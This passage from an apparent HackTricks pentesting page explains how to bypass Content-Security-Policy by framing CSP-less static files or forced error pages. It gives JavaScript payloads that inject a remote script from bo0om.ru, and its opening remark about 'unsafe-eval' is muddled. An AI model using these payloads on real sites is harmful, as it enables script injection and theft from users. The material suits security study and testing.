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A configuration such as:
```
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
```
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
## Via text & images
Modern browsers transform images and texts into HTML files to visualize them better (set background, center, etc).
Therefore, if you **open an image or txt file** such as **favicon.ico** or **robots.txt** with an **`iframe`**, you will open it as HTML.
**These kinds of pages usually don't have CSP headers and might not have X-Frame-Options**, so you can execute arbitrary JS from them:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```
## Via Errors
Same as text files or images, **error responses usually don't have CSP headers and might not have X-Frame-Options**. So, you can force errors and load them inside an iframe:
```javascript
// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
```
```javascript
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```
## References
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
Support HackTricks and get benefits!
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**